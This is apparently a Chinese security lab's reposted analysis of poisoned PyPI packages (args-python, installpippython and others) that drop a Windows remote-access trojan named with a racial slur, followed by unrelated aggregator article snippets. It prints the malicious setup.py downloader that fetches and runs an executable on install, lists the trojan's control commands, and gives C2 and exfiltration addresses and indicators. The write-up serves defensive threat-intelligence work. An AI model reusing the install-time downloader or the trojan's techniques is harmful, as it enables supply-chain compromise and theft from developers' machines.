ihateniggers:针对Python开发者的Windows远控木马分析

news2025/7/7 19:00:44

背景

墨菲安全实验室在持续监测开源软件仓库中的投毒行为,5 月 9 日起发现 4 个包含 “ihateniggers” 远程控制木马的 Python 包被 nagogy@gmail.com 邮箱关联的账号发布到 PyPI 仓库,试图针对Windows系统下 Python 开发者进行攻击。木马利用了discord、replit、playit 等多个平台托管后门、隐藏身份,当前木马作者仍在活跃。

事件简述

我们监测发现,从 5 月 9 日开始在 PyPI 仓库出现利用 “ihateniggers” 木马进行攻击的后门组件(installpippython),这些包只针对 Windows 操作系统执行恶意逻辑。

这些投毒包通过在 setup.py 中添加下载执行下载器的逻辑,再通过下载器下载执行木马。下载器首先下载 curl 的 dll 文件为攻击做铺垫,之后下载 “ihateniggers” 木马文件并执行。该木马中存在截取屏幕、执行命令、下载文件、获取剪贴板、获取Wi-Fi密码等恶意行为。

当前投毒者仍在活跃,墨菲安全发现至少有 4 个包含 “ihateniggers” 木马文件的 Python 包,这些包当前在 PyPI 仓库中已被下线。

包名版本发布时间所用用户名所用邮箱
args-python12.4.52023/5/10nagogy213nagogy@gmail.com
args-python12.5.52023/5/10nagogy213nagogy@gmail.com
argspython12.5.52023/5/10nagogy213nagogy@gmail.com
argspython12.6.52023/5/10nagogy213nagogy@gmail.com
installpippython19.3.52023/5/9nagogy213nagogy@gmail.com
pythonarg1.12023/5/10dynastyoaknagogy@gmail.com

投毒者 dreamyoak 利用了 https://discord.com/、https://replit.com/、https://playit.gg/ 等平台托管其恶意文件、作为信息收集的后端服务、命令控制的信道,其母语可能是韩语/朝鲜语。

投毒行为分析

投放包含下载器的 Python 包

投毒者以 arg 作为关键词在 PyPI 仓库中发布了多个包,以 pythonarg v1.1 为例,当用户通过 pip 安装投毒组件包或者引入组件包的 reqinstaller 模块时,将会从 hxxps://cdn.dreamyoak.repl.co/ 下载并执行恶意软件:

# setup.py 和 reqinstaller模块中的 __init__.py
import urllib.request
import tempfile
import subprocess

url = 'https://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe'
with urllib.request.urlopen(url) as response:
    with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
        tmp_file.write(response.read())
        exe_path = tmp_file.name

subprocess.call([exe_path])

exe文件运行时将从 hxxps://cdn.discordapp.com/ 下载libcurl以及木马windows-services.exe,这些文件被作为附件传到了Discord中。

在文件中也可以提取到开发时的项目路径,将该模块称为rat-downloader

C:\Users\admin\Desktop\dreamyoak\projects\c++\rat-downloader

Replit提供了从代码编写到构建运行的云端IDE环境,*.repl.co是Replit平台提供用于托管用户项目的域名。

投毒者至少使用了 “dreamyoak” 和 “thughunter” 两个账号,分别注册了 “cdn” 和 “cdn-1” 等多个项目,用于托管下载器,以及后续的信息收集服务。

通过下载器引入远控木马(RAT)

windows-services.exe 是一个功能全面的远程控制木马(RAT),运行依赖于 libcurl.dll 动态链接库。与hb2Voh.exe相同,都使用 MinGW 构建,投毒者可能更熟悉 Linux 下的开发环境。

在运行后会先通过注册表、fodhelper.exe 等绕过 UAC。

而后连接back-effort.at.ply[.]gg:50555服务,ply.gg是playit.gg提供的游戏托管服务域名,针对游戏场景提供了TCP/UDP的公网端口中转服务。该木马利用playit.gg作为C2服务,降低成本,隐藏其身份。

木马中支持了大量的控制指令,实现了如截取屏幕、执行命令、下载文件、获取剪贴板、获取Wi-Fi密码等功能。

if ( (unsigned __int8)sub_522560(&v41, "!ip") )
if ( (unsigned __int8)sub_522560(&v41, "!screenshot") )
v12 = sub_522560(&STACK[0x7A0], "!download");
v14 = sub_522560(&STACK[0x870], "!cmd");
if ( (unsigned __int8)sub_522560(&v41, "!dir") )
if ( (unsigned __int8)sub_522560(&v41, "!clipboard") )
v15 = sub_522560(&STACK[0xBD0], "!openlink");
else if ( (unsigned __int8)sub_522560(&v41, "!wifipasswords") )
v16 = sub_522560(&STACK[0xCA0], "!errorbox");
else if ( (unsigned __int8)sub_522560(&v41, "!tasklist") )
v17 = sub_522560(&STACK[0xE40], "!run");
else if ( (unsigned __int8)sub_522560(&v41, "!lock") )
v18 = sub_522560(&STACK[0xF00], "!delete");
else if ( (unsigned __int8)sub_522560(&v41, "!getadmin") )
else if ( (unsigned __int8)sub_522560(&v41, "!webcam") )
v19 = sub_522560(&STACK[0x10E0], "!upload");
v20 = sub_522560(&STACK[0x1140], "!mic");
else if ( (unsigned __int8)sub_522560(&v41, "!disabledef") )
v22 = sub_522560(&STACK[0x12A0], "!cd");
else if ( (unsigned __int8)sub_522560(&v41, "!isadmin") )
v24 = sub_522560(&STACK[0x1370], "!wallpaper");
else if ( (unsigned __int8)sub_522560(&v41, "!restart") )
else if ( (unsigned __int8)sub_522560(&v41, "!shutdown") )
v29 = sub_522560(&STACK[0x14F0], "!uprun");
v30 = sub_522560(&STACK[0x15B0], "!kill");
else if ( (unsigned __int8)sub_522560(&v41, "!sysinfo") )
else if ( (unsigned __int8)sub_522560(&v41, "!fuckkeyboard") )
else if ( (unsigned __int8)sub_522560(&v41, "!fixkeyboard") )
else if ( (unsigned __int8)sub_522560(&v41, "!blackscreen") )
else if ( (unsigned __int8)sub_522560(&v41, "!bluescreen") )
else if ( (unsigned __int8)sub_522560(&v41, "!windowspass") )
v31 = sub_522560(&STACK[0x17C0], "!spam");
v33 = sub_522560(&STACK[0x1860], "!adduser");
v34 = sub_522560(&STACK[0x18D0], "!listusers");
v35 = sub_522560(&STACK[0x1910], "!deluser");
v36 = sub_522560(&STACK[0x1980], "!play");

也会依赖其他后门完成额外操作,如获取摄像头画面:

获取敏感信息后留存的文件,多以 ihateniggers 作为前缀命名,投毒者可能是种族主义者(niggers 意为黑鬼)。

窃取后的信息会发送至 replit 的信息收集服务中(hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy133)

溯源分析

投毒者在 2023 年 1 月份就开始用“@thughunter”账号进行服务部署,在Replit中部署了多套环境进行测试,在 5 月 10 号开始以“@dreamyoak”发布除 installpippython 之外的其他投毒包。

在GitHub中,dreamyoak、nagogy账号与木马作者的关联性较高,其仓库中也包含类似功能的恶意软件代码。

通过邮箱关联,攻击者可能使用韩语/朝鲜语作为其母语,其对应名称可能为김기원(金基元)。

风险防范

当前,PyPI仓库中涉及的python包已经下线,gplayit中的back-effort.at.ply[.]gg:50555服务已经关闭,replit中thughunter的服务未开启。但从其投毒行为来看,还处于早期调试阶段,后续可能持续投毒并提升检测对抗难度。

相关网络IOC包括:

back-effort.at.ply[.]gg:50555
hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559368600133642/libcurl-x64.dll
hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105562608993570816/win32.exe
hxxps://cdn.discordapp.com/attachments/1055888135671795823/1105559654160924672/windows-services.exe
hxxps://cdn.dreamyoak.repl.co/cdn/hb2Voh.exe
hxxps://cdn.dreamyoak.repl.co/api/upload/nagogy1337
hxxps://cdn-1.thughunter.repl.co/cdn/DLwsT3.exe
hxxps://cdn-1.thughunter.repl.co/cdn/Windows.exe

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/518527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

各种顺序表和链表的实现代码

目录 一、什么是线性表 二、顺序表 2.1什么是顺序表 2.2静态顺序表的代码实现 2.3动态顺序表的代码实现 三、链表 3.1什么是链表 3.2不带头单向不循环链表的代码实现 3.3带头双向循环链表的代码实现 四、顺序表和链表的区别 一、什么是线性表 线性表是n个具有相同特性…

(十五)数据编辑——图形编辑①

数据编辑——图形编辑① 数据编辑包括几何数据和属性数据的编辑。几何数据的编辑主要是针对图形的操作,即图形编辑,包括平行线复制、缓冲区生成、镜面反射、图层合并、结点操作、拓扑编辑等。属性编辑主要包括图层要素属性的添加、删除、修改、复制、粘…

谷歌落子,我们对中国大模型的期待应该是什么?

对中国大模型厂商而言,市场期待的,也恰是这些真正可落地的应用和实践。这些实践可以在社交,在电商,在低代码,在供应链,也更可以在一个个中国产业数字化转型的新洼地。 作者|思杭 皮爷 出品|产业家 在微软G…

裸辞5个月,面试了37家公司,终于.....

上半年裁员,下半年裸辞,有不少人高呼裸辞后躺平真的好快乐!但也有很多人,裸辞后的生活五味杂陈。 面试37次终于找到心仪工作 因为工作压力大、领导PUA等各种原因,今年2月下旬我从一家互联网小厂裸辞,没想…

执行增删改查时的结果处理

查询最终走到PreparedStatementHandler类的query方法,执行查询后调用DefaultResultSetHandler类的handleResultSets方法 1.处理返回的普通实体类 DefaultResultSetHandler类的handleResultSets方法 继续本类的handleResultSet方法 通过 handleRowValues 方法来…

设计一个可靠的自动化测试框架需要考虑哪些问题呢?

随着软件开发的日益普及,自动化测试框架逐渐成为了保障软件质量的必备工具。然而,如何设计一个可靠的自动化测试框架并不是一件简单的事情,需要考虑多方面的问题。本文将从需求分析、架构设计、测试用例编写等多个角度,介绍设计一…

【SpringMVC】| SpringMVC拦截器

目录 一:SpringMVC拦截器 1. 拦截器介绍 2. HandlerInterceptor接口分析 3. 自定义拦截器实现权限验证 一:SpringMVC拦截器 SpringMVC 中的 Interceptor 拦截器,它的主要作用是拦截指定的用户请求,并进行相应的预处理与后处理…

C++面向对象(黑马程序员)

内存分区模型 #include<iostream> using namespace std;//栈区数据注意事项&#xff1a;不要返回局部变量的地址 //栈区的数据由编译器管理开辟和释放int* func(int b) //形参数据也会放在栈区 {b 100;int a 10; //局部变量存放在栈区&#xff0c;栈区的数据在函数执…

Qt创建项目 No suitable kits found.

最近因为要写.net6项目&#xff0c;而更新了Visual Studio&#xff0c;后来再使用Qt的时候发现不能编译了。 调整后&#xff0c;发现新建项目显示“No suitable kits found”错误。 网上也看了很多的解决方案&#xff0c;但都不得要领&#xff0c;也都没有解决。 ----------…

Java-Redis持久化之AOF操作

Java-Redis持久化之AOF操作 1.AOF(append only file)2.请你用自己的话说一说 AOF的过程?3.配置如何开启AOF操作4.AOF的优点和缺点: 1.AOF(append only file) 将我们所有的命令都记录下来保存到文件&#xff0c;恢复的时候把这个文件都执行一遍。 2.请你用自己的话说一说 AOF…

【Vue】学习笔记-全局事件总线

全局事件总线(GlobalEventBus) 一种可以在任意组件通信的方式&#xff0c;本质上就是一个对象&#xff0c;它必须满足以下条件 所有的组件对象都必须能看见他这个对象必须能够使用$ on $ emit $ off方法取绑定、触发和解绑事件 使用步骤 定义全局事件总线 //创建VUE new V…

WPF中的用户控件和自定义控件详解

总目录 文章目录 总目录一、什么是用户控件和自定义控件1 用户控件和自定义控件2 相关知识点2 用户控件和自定义控件的适用场景 二、用户控件的使用1.通过依赖属性和路由事件封装用户控件的案例2.通过依赖属性命令依赖属性封装用户控件的案例3.只对外提供属性不对外提供操作的用…

USBCAN卡和台达AS228T通信

AS228R 如图 A.把CAN卡固定上 B.接一个120欧的终端电阻 C.把来可的USBCAN卡的CANH和CANL分别接入AS228R的CANH和CANL. CAN 接口及网络拓扑 10.2.4.1 CAN 网络实体信号的定义及数据格式 CAN 信号为差分信号&#xff0c;信号电压为 CAN和 CAN-之间的电压差&#xff0c;CAN 和…

怎样删除hao123(浏览器首页被篡改了)

有时候我们打开浏览器发现首页被hao123 ,或者2345 这些浏览器给篡改了 或者打开的时候直接打开2个.这个时候想要删除它们,其他它们本身就是网页的,没有应用 在卸载的地方就不用了,它们就嵌套你的浏览器里面,打开的时候启动了他们, 下面说下方法 1 查看浏览器在什么方法下载…

第3天学习Docker-Docker部署常见应用(MySQL、Tomcat、Nginx、Redis、Centos)

前提须知&#xff1a; &#xff08;1&#xff09;搜索镜像命令 格式&#xff1a;docker search 镜像名 &#xff08;2&#xff09;设置Docker镜像加速器 详见文章&#xff1a;Docker设置ustc的镜像源&#xff08;镜像加速器&#xff09; 1、部署MySQL 拉取镜像&#xff08;这…

Radius:针对Rollup生态的Trustless Shared Sequencing层

1. 引言 前序博客&#xff1a; Rollup去中心化Rollup DecentralizationAztec 征集 Rollup Sequencer去中心化提案 Rollup中单一中心化sequencer的问题在于&#xff1a; 审查MEV extraction MEV extraction的问题不在于中心化本身&#xff0c;而在于sequencer具有操纵交易顺…

CN学术期刊《西部素质教育》简介及投稿邮箱

《西部素质教育》&#xff08;半月刊&#xff09;创刊于2015年&#xff0c;是由青海人民出版社有限责任公司主管/主办的教育类学术期刊&#xff0c;本刊恪守“追踪教育研究前沿&#xff0c;关注教育实践热点&#xff0c;探索创新教育理念&#xff0c;传播教育教学信息&#xff…

测试外包干了4年,我废了...

这是来自一位粉丝的投稿内容如下&#xff1a; 先说一下自己的个人情况&#xff0c;大专毕业&#xff0c;18年通过校招进入湖南某外包公司&#xff0c;干了接近4年的软件测试外包工作&#xff0c;马上2023年秋招了&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在…

JOSEF 约瑟 JZ-7Y-E/06静态中间继电器 拓展端子 接线牢固

​ JZ-7Y-E/06静态中间继电器品牌:JOSEF约瑟名称:静态中间继电器型号:JZ-7Y-E/06额定电压:6220VDC&#xff1b;6380VAC触点容量:10A/250V10A/220VDC功率消耗:≤6W JZ-7Y-E/06静态中间继电器 系列型号&#xff1a; JZ-7Y-E/60静态中间继电器&#xff1b; JZ-7J-E/60…

Spring ( 一 ) 依赖耦合

1.依赖耦合及解耦 1.1.从<<西游记>>说起 1.1.1.主角介绍 使用 Java 语言中编写一个 HouWang 猴王类 // 猴王 public class HouWang {// 成员变量private String mingZi;// 无参构造方法public HouWang() {System.out.println("石破天惊");}// 有参数构…